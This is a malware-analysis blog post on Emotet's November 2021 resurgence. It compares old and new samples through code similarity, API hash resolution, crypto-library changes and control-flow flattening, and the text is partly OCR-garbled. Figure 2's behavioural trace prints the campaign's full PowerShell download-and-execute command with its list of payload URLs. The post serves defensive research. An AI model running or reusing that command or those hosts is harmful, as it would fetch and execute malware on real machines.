Recent Posts

December 9, 2021



HP Threat Research Blog • Emotet's Return: What's Different?

Emotet's Return: What's Different?

On 15 November 2021, <u>Emotet</u> returned after an almost 10-month hiatus and is currently being spread again in large malicious spam campaigns. The malware operation behind Emotet was disrupted in January 2021 by <u>law enforcement</u>, leading to a dramatic reduction in activity. However, this lull has proven temporary, with Emotet's return demonstrating the resilience of botnets and their operators. The malware's resurgence raises questions about what has changed in the new binaries being distributed, which we briefly explore in this article.

Campaign Isolated by HP Wolf Security, November 2021

In November, HP Sure Click Enterprise – part of <u>HP Wolf Security</u> – isolated a large Emotet campaign against an organization. Figure 1 shows how a user opened an Excel email attachment containing a malicious macro. The macro spawned cmd.exe, which attempted to download and run an Emotet payload from a web server. Since malware delivered over email is extremely common, HP Sure Click automatically treats files delivered via email as untrusted. When the user opened the attachment, HP Sure Click isolated file in a micro-virtual machine (micro-VM), thereby preventing the host from being infected. HP Sure Click

also detected potentially malicious behavior in the micro-VM, so generated and sent an alert to the customer's security team containing an activity trace describing what happened inside the VM (Figure 2).



Figure 1 – Alert timeline showing user opening a malicious Emotet spreadsheet.

SUMN	IARY III GRAPH FILES III BEHAVIORAL OF NETW
Behavioral Events Total events: 584	434 events hidden by filters
EXCEL.EXE PID: 2088 (C Type Action Source Path Target Path	10:00:00.000) Process Load User Space \Windows\SysWOW64\cmd.exe \Windows\SysWOW64\cmd.exe
EXCEL.EXE PID: 2088 (+ Type Action Source Path Target Path Target Process info	 O0:00:00.016) Process Execute PROGRAM FILES (X86)\MICROSOFT OFFICE\ROOT\OFFICE16\EXCEL.EXE Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe /c start /B powershell \$dfkj="\$strs=\"https://evgeniys.ru/sap-logs/D6/.http://crowna dvertising.ca/wp-includes/OxiAACCoic/.https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/.http://immoinvest.co m.br/blog_old/wp-admin/luoT/.https://yoho.love/wp-content/e4laFBDXIv/T60/.https://www.168801.xyz/wp-content /6J3CV4meLxvZP/.https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach(\$st in \$strs){\$r1=Get-R andom;\$r2=Get-Random;\$tpth=\"C:\ProgramData\\\"+\$r1+\".dll\";Invoke-WebRequest -Uri \$st -OutFile \$tpth;if(Test- Path \$tpth){\$fp=\"C:\Windows\SysWow64\rundll32.exe\";\$a=\$tpth+\",f\"+\$r2;Start-Process \$fp -ArgumentList \$a;bre ak;]}:";IEX \$dfkj

Figure 2 – Snippet from behavioral trace captured by HP Sure Click.

Finding code similarities

Using two unpacked Emotet samples, one from January 2021 and a second from mid-November 2021, we wanted to highlight the code differences to focus analysis on any new code. For this we used <u>Threatray</u>, which analyzes the structure of malware and classifies it based on code similarities. The service can also find function differences between two malware samples and highlight them.

Date	SHA256 Hash
2021-01- 26	61a47ebee921db8a16a8f070edcb86b5efd47a8d185bf4691b57e76f697981f9
2021-11- 16	ba758c64519be23b5abe7991b71cdcece30525f14e225f2fa07bbffdf406e539

Using Threatray's API to retreive code similarities returns a table of function addresses from both samples. If there are function addresses in the columns of both samples, this means a similar function was found. Analyzing our two Emotet samples identified 80 of 246 functions

that were similar. This means that the remaining functions could be code changes or obfuscation.

hash 1	address 1	hash 2	address 2
$\label{eq:second} ba758c44519be23b5abe7991b71cdcece30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffd406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbffdf406e539\\ ba758c44519be23b5abe7991b71cdcec30625f14e225f2fa07bbff$	ex6c3f193c ex6c3f1db2 ex6c3f2db2 ex6c3f2db2 ex6c3f2db2 ex6c3f4410 ex6c3f4480 ex6c3f4480 ex6c3f4432 ex6c4f12081 ex6c4f12081 ex6c412081 ex6c412081 ex6c412a78 ex6c412a78 ex6c412a78 ex6c43f1c20 ex6c3f1cf0 ex6c3f1894	$\label{eq:constraint} \begin{array}{l} 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f97981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b57e76f697981f9\\ 61a47ebee921db8a16a8f079edcb86b5efd47a8d185bf4691b5$	0x6c408721 0x6c37293 0x6c37b79b 0x6c407b8d 0x6c37bp2b 0x6c407b8d 0x6c37b2bd 0x6c37a29e 0x6c4007d3 0x6c3726a0 0x6c3726a0 0x6c3754d8 0x6c373743 0x6c401f54

Figure 3 – Threatray output table showing similar functions.

To streamline our analysis even further, we wrote an IDC script based on Threatray's results, which colors known functions green. This way, we can concentrate on the unknown areas when reversing the malware.

F Functions		. 8	×	🖪 IDA View-A 🗵 🔄 Strings	×	🗿 Hex Vie	w-1 🛛 🗚 Struc	tures 🛙	3 🗄	Enums 🗵	1	Imports	×	Exports	×		
Function name	Segment	Start	^	↓ ↓			•		- +			- +					
f known_0x6c3f606b	.text	00000006C3F606B		🛄 🚄 🖂	1 🚺 🚄	<u>,</u>		🗾 🚄 🗟	*		🚺 🚄	<u>, 111</u>		h 🚺 🚄 🔛			
f known_0x6c3f5e78	.text	00000006C3F5E78						cmp	esi, 502	4F34h	cmp	esi, (0BB832F1h				
	.text	00000006C3F5973		loc_6C4113FF:	loc_60	C4113DA:		jz	short lo	c_6C411386	jnz	loc_6	C4119DF	loc_6C4	1704:		
🗲 known_0x6c3f5379	.text	00000006C3F5379		mov eax, [esp+290h+var_240	mov	eax, [e	sp+290h+var_118]							lea	eax, [e	sp+290	i+var_54]
f known_0x6c3f51c2	.text	00000006C3F51C2		call sub 6C3F5542	call	sub 6C4	10B074							push	fesp+29	4h+var	1141
f known_0x6c3f4d32	.text	00000006C3F4D32		test eax, eax	test	eax, ea	ix iii							push	[esp+29	8h+var	1DC]
📝 known_0x6c3f480a	.text	00000006C3F480A		jnz short loc_6C41141F	jz	loc_6C4	411851							mov	edx, [e	sp+29Cl	+var_10C]
📝 known_0x6c3f4410	.text	00000006C3F4410												mov call	ecx, [e	sp+29Ci x6c40f	HVar_108]
📝 known_0x6c3f2735	.text	00000006C3F2735												add	esp, 0C	h	
📝 known_0x6c3f226a	.text	00000006C3F226A												test	eax, ea	×	
📝 known_0x6c3f21c2	.text	00000006C3F21C2												jz	short 1	oc_6C4:	173D
📝 known_0x6c3f1db2	.text	00000006C3F1DB2															
📝 known_0x6c3f193c	.text	00000006C3F193C						_							ר ר		
f decode_functionname	.text	00000006C40CDA7															
🗲 call_memset	.text	00000006C411AD9															
🗲 call_memcpy	.text	00000006C3F58A0															
🗲 call_lstrlenW	.text	00000006C3F78CC															
	.text	00000006C4051BE															
f call_lstrcpynW	.text	00000006C4004BA								-			-				
f call_lstrcpyW	.text	00000006C3F631D		· · · · · ·			• •			+	_		+				
🛃 call_lstrcmpiW	.text	00000006C3F56E8				🗾 🚄 🔛			💶 🚄 🖼		1 🗾 🚄	14					
f call_lstrcmpiA	.text	00000006C40A38B		<pre>mov eax, [esp+290h+var_11</pre>	.C]				стр е	si, 988E589h	1						
f call_snprintf	.text	00000006C4129C4		call sub_6C4124FA		loc_6C41	173D:	463	jnz l	oc_6C4119DF	loc_60	41163D:					
	.text	00000006C40F36A		mov [esp+290n+var_54], ea	* 	test	eax, [esp+z90n+var_ eax, eax	4C]			call	eax, known	0x6c4074	+var_254] a8			
f call_WaitForSingleObject	.text	00000006C3FF408		jmp loc_6C4110F3		jnz	short loc_6C411774				test	eax,	eax				
f call_WTSQueryUserToken	.text	00000006C3FF90B			-						jz	loc_6	C411851				
call_WTSGetActiveConsoleSessionId	.text	00000006C401A4E															
f call_VirtualFree	.text	00000006C3FF4BE	~														
<		>															
Line 206 of 254																	
🚜 Graph overview			×														
			- 1							<u> </u>							
			- 1												_		
1003																	
				100 000 (2224 12500) (254 520) 0			AORCDO . heave Outer	0.6-40		and sidely No.							
ų a			Ŀ	100.008 (3234,13888) (364,839) 0	012008 0	00000000000	aorebe. known_oxee	401648	aynenroni	sed with He	<pre>x x160-1)</pre>						

Figure 4 – IDA Pro disassembly of the November 2021 Emotet sample with known functions in green.

Windows API function resolution technique

One of the ways Emotet hides its capabilities is by <u>resolving Windows API functions at</u> <u>runtime</u>. This means function names are hidden from the Import Address Table or as strings. To find the desired API function, Emotet instead uses hashes. A hash is passed to a resolution routine, where it is compared to the hashes of all the exported functions of a DLL. If the two hashes match, the correct function and address in the DLL is found, enabling it to be called without referencing its name.

; Attri	butes: bp-based frame						
call GetTickCount proc near							
call_decilekcoune proc near							
var 20=	= dword ptr -20h						
var 1C=	= dword ptr -1Ch						
var 18=	= dword ptr -18h						
var_14=	= dword ptr -14h						
var_10=	= dword ptr -10h						
var_C=	dword ptr -OCh						
var_8=	dword ptr -8						
var_4=	dword ptr -4						
a second	a ha						
pusn	ebp ohn ocn						
mov	eop, esp						
and	csp, zon [ebn+var 14] 0						
mov	[ebn+var_20]_0827250b						
mov	[ebp+var_10], 052723011						
mov	[ebp+var_18], 8E2790h						
mov	[ebp+var C], 1A1473h						
shl	[ebp+var C], 0Eh						
4 m 1	real [sharwar c] 75h						
push	0FD2A3502h ; Function hash to resolve						
Pash	CCA						
	opplossori						
push	OBDIOFF8En						
push push	ecx						
push push mov	0BD10FF8En ecx [ebp+var_C], eax						
push push mov xor	0BD10FF8En ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_C], 84218845h						
push push mov xor mov	0BD10FF8En ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax [ebp+var_8], 3						
push push mov xor mov imul push	0BD10FF8En ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264b						
push push mov xor mov imul push	0BD10FF8En ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax						
push push mov xor mov imul push mov shl	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5						
push push mov xor mov imul push mov shl xor	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h						
push push mov xor mov imul push mov shl xor mov	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h						
push push mov xor mov imul push mov shl xor mov add	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h						
push push mov xor mov imul push mov shl xor mov add xor	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h						
push push mov xor mov imul push mov shl xor mov add xor mov	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh						
push push mov xor mov imul push mov shl xor mov add xor mov shr	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 10h						
push push mov xor mov imul push mov shl xor mov add xor mov shr add	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 10h [ebp+var_4], 0FFFFD32Eh						
push push mov imul push mov shl xor mov add xor mov shr add xor	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], eax [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 0DEE7h [ebp+var_4], 84C5DAh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh						
push push mov xor mov imul push mov shl xor mov add xor mov shr add xor mov	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 0EE7h [ebp+var_10], 0EE7h [ebp+var_10], 929733h [ebp+var_4], 0EFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh						
push push mov xor mov imul push mov shl xor mov add xor mov shr add xor mov mov mov	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 0DE7h [ebp+var_10], 0DE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFF4FBA7h eax, [ebp+var_4] eax, [ebp+var_10]						
push push mov xor mov imul push mov shl xor mov add xor mov shr add xor mov shr add xor	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFBA7h eax, [ebp+var_4] eax, [ebp+var_8] eax, [ebp+var_8]						
push push mov xor mov imul push mov shl xor mov add xor mov shr add xor mov mov mov mov	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFBA7h eax, [ebp+var_4] eax, [ebp+var_8] eav, [ebp+var_6] decode functionname						
push push mov xor mov imul push mov shl xor mov add xor mov shr add xor mov mov mov mov mov	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 0EE7h [ebp+var_10], 0EE7h [ebp+var_10], 0EE7h [ebp+var_4], 0EFFFD32Eh [ebp+var_4], 0EFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_4], 0EFFFFD32Eh [ebp+var_6] eax, [ebp+var_6] eax, [ebp+var_6]						
push push mov xor mov imul push mov shl xor mov add xor mov shr add xor mov mov mov mov mov mov	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 0DE7h [ebp+var_10], 0DE7h [ebp+var_10], 0DE7h [ebp+var_4], 0EFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFF4FBA7h eax, [ebp+var_4] eax, [ebp+var_8] cov_ [obp1var_6] decode_functionname PSD_140 eax						
push push mov xor mov shl xor mov add xor mov shr add xor mov shr add xor mov mov mov mov mov mov	0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 0EE7h [ebp+var_10], 0EE7h [ebp+var_10], 929733h [ebp+var_4], 0EFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFBA7h eax, [ebp+var_4] eax, [ebp+var_6] decode_functionname eax esp, eop						
push push mov xor mov shl xor mov add xor mov shr add xor mov shr add xor mov mov mov mov mov mov mov	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 5 [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 0EE7h [ebp+var_10], 0EE7h [ebp+var_10], 929733h [ebp+var_4], 0EE7h [ebp+var_4], 0EFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFBA7h eax, [ebp+var_4] eax, [ebp+var_6] decode_functionname esp, eop ebp						
push push mov xor mov shl xor mov add xor mov shr add xor mov shr add xor mov mov mov mov mov mov mov call mov pop retn	08D10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 0DEE7h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFBA7h eax, [ebp+var_4] eax, [ebp+var_6] decode_functionname PS0140 eax esp, eop ebp						
push push mov xor mov shl xor mov add xor mov shr add xor mov shr add xor mov mov mov mov mov mov call mov pop retn call_Ge	<pre>0BD10FF8Eh ecx [ebp+var_C], eax [ebp+var_C], 84218845h [ebp+var_8], 37246Eh eax, [ebp+var_8], 3 264h [ebp+var_8], eax [ebp+var_8], 14A72185h [ebp+var_8], 14A72185h [ebp+var_10], 8FBA54h [ebp+var_10], 929733h [ebp+var_10], 929733h [ebp+var_4], 84C5DAh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFD32Eh [ebp+var_4], 0FFFFBA7h eax, [ebp+var_4] eax, [ebp+var_6] decode_functionname per</pre>						

Figure 5 – Emotet's Windows API wrapper function.

Since these wrapper functions are not classified as similar, we wrote a <u>Python script</u> that resolves the Windows API functions. For the Emotet sample from 16 November, we were able to resolve and annotate 109 different functions. We also resolved the functions of the sample from January 2021 to compare the differences in API functions between the samples. The following table lists the API functions that are unique to each:

January 2021	November 2021
CryptAcquireContextW	BCryptCloseAlgorithmProvider
CryptCreateHash	BcryptCreateHash
CryptDecrypt	BcryptDecrypt
CryptDuplicateHash	BcryptDeriveKey
CryptDestroyHash	BcryptDestroyHash
CryptDestroyKey	BcryptDestroyKey
CryptGenKey	BcryptDestroySecret
CryptEncrypt	BcryptEncrypt
CryptExportKey	BcryptExportKey
CryptGetHashParam	BcryptFinalizeKeyPair
CryptImportKey	BcryptFinishHash
CryptReleaseContext	BcryptGenRandom
CryptVerifySignatureW	BcryptGenerateKeyPair
CryptDecodeObjectEx	BcryptGetProperty
HeapAlloc	BcryptHashData
MultiByteToWideChar	BcryptImportKey
WideCharToMultiByte	BcryptImportKeyPair
RtlRandomEx	BcryptOpenAlgorithmProvider
	BcryptSecretAgreement
	BcryptVerifySignature
	RtlAllocateHeap
	InternetQueryOptionW

Differences in the Emotet Samples

One difference in the API functions is that the newer Emotet sample now uses <u>Bcrypt</u> <u>cryptography functions</u>. The Emotet sample from January 2021 used cryptography functions from advapi32.dll. An explanation for this change is that Emotet's developers switched to the newer cryptography API because Microsoft deprecated the old API and now recommend switching to the newer one.

CryptDecrypt function (wincrypt.h)

10/13/2021 • 6 minutes to read

Is this page helpful?

Important This API is deprecated. New and existing software should start using **Cryptography Next Generation APIs.** Microsoft may remove this API in future releases.

Figure 6 – <u>CryptDecrypt</u> API documentation from Microsoft.

In addition to the changes in cryptography, Emotet now uses the function <u>RtlAllocateHeap</u> to allocate heap memory. Normally a program calls <u>HeapAlloc</u> which then calls RtlAllocateHeap. Each Emotet binary contains encrypted configuration information that is decrypted at runtime and stored on the heap. Previously if we debugged the malware, you could set a breakpoint on HeapAlloc and view unencrypted information like the malware's command and control (C2) addresses. But this does not work with the newer Emotet sample because the malware calls RtlAllocateHeap instead. By simply changing the breakpoint to RtlAllocateHeap, we can achieve the desired result. However, this small change could mean that automated analysis systems are no longer able to extract unencrypted information from the malware and therefore they require updating.

If we add the green-colored wrapper functions to the functions identified by Threatray results, this gives us 167 of 246 functions. Some of the remaining functions are very small auxiliary functions that are uninteresting, and others are functions that can already be found in the older Emotet sample by comparing them manually. But why were these functions not initially marked as similar? There are two possible reasons for this. First, Emotet uses switch case statements to obfuscate the control flow, which calls the functions in the correct order, but these aren't easy to resolve using static analysis.





Second, we noticed that the second Emotet sample contains more function flattening than the older sample. This means that more functions are called in one place and not nested in sub-functions. This leads to a change in the control flow, which reduces the similarity to the older Emotet sample. Figure 8 shows the January 2021 sample calling a sub-function that allocates memory on the heap, creates a string, then releases the memory.

<pre>push [ebp+var_20] lea edx, [ebp+var_230] mov ecx, esi push [ebp+var_4] push [ebp+arg_4] call Allocate_snpritf_Free push [ebp+lpFileName]; lpFileName mov edx, [ebp+var_C] lea ecx, [ebp+var_230] call DeleteFileW add esp, 10h</pre>	🗾 🎿 💌	a 🔰
	push lea mov push call push mov lea call add	<pre>[ebp+var_20] edx, [ebp+var_230] ecx, esi [ebp+var_4] [ebp+arg_4] Allocate_snpritf_Free [ebp+lpFileName]; lpFileName edx, [ebp+var_C] ecx, [ebp+var_230] DeleteFileW esp, 10h</pre>

Figure 8 – Sample from January 2021 calling a sub-function leading to further execution and API calls.

In the more recent sample, the sub-function has been resolved and the function calls to allocate memory and compose the string have been moved into the main function (Figure 9).

	•
🗾 🚄 📴	
push	esi
push	offset dword 6C3F1458
push	[ebp+var_18]
mov	edx, [ebp+var_48]
mov	ecx, [ebp+var_50]
call	AllocatingHeap
push	[ebp+var_38]
mov	ecx, [ebp+arg_4]
mov	esi, eax
lea	eax, [ebp+var_258]
push	eax
push	esi
push	[ebp+var_4]
push	[ebp+var_2C]
push	[ebp+var_1C]
mov	ecx, [ecx+8]
push	edi
call	snprintf
push	[ebp+var_C]
mov	edx, esi
push	[ebp+var_44]
mov	ecx, [ebp+var_14]
call	FreeingHeap
push	[ebp+var_24]
mov	edx, [ebp+var_4C]
lea	ecx, [ebp+var_258]
call	call_DeleteFileW
add	esp, 30h
рор	esi

Figure 9 – Sample from November 2021 using direct function calls instead of sub-functions.

Conclusion

Our analysis shows that Emotet has changed during its almost 10-month break. As well as the use of an updated cryptography library, there have been small changes in memory allocation and in the functional structure of parts of Emotet's code. However, large parts of the malware remain the same, indicating that its existing features are still good enough to compromise systems. This is not a final analysis since our goal was to show how to quickly and efficiently highlight changes between two samples. To support the security community with further analysis of Emotet, we have shared the <u>IDA database and Python script</u> used in this article.

code analysis emotet